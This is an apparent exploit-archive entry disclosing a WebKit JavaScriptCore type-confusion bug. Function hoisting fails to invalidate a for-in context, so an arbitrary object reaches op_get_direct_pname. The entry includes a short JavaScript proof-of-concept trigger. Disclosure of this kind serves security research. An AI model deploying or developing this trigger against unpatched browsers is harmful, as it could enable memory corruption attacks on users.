WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Exploit

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the ForInContext Object

/*
This is simillar to  issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
 
PoC:
*/
 
function trigger() {
    let o = {a: 1};
    for (var k in o) {
        {
            k = 0x1234;
 
            function k() {
 
            }
        }
 
        o[k];
    }
}
 
trigger();

#  0day.today [2021-09-06]  #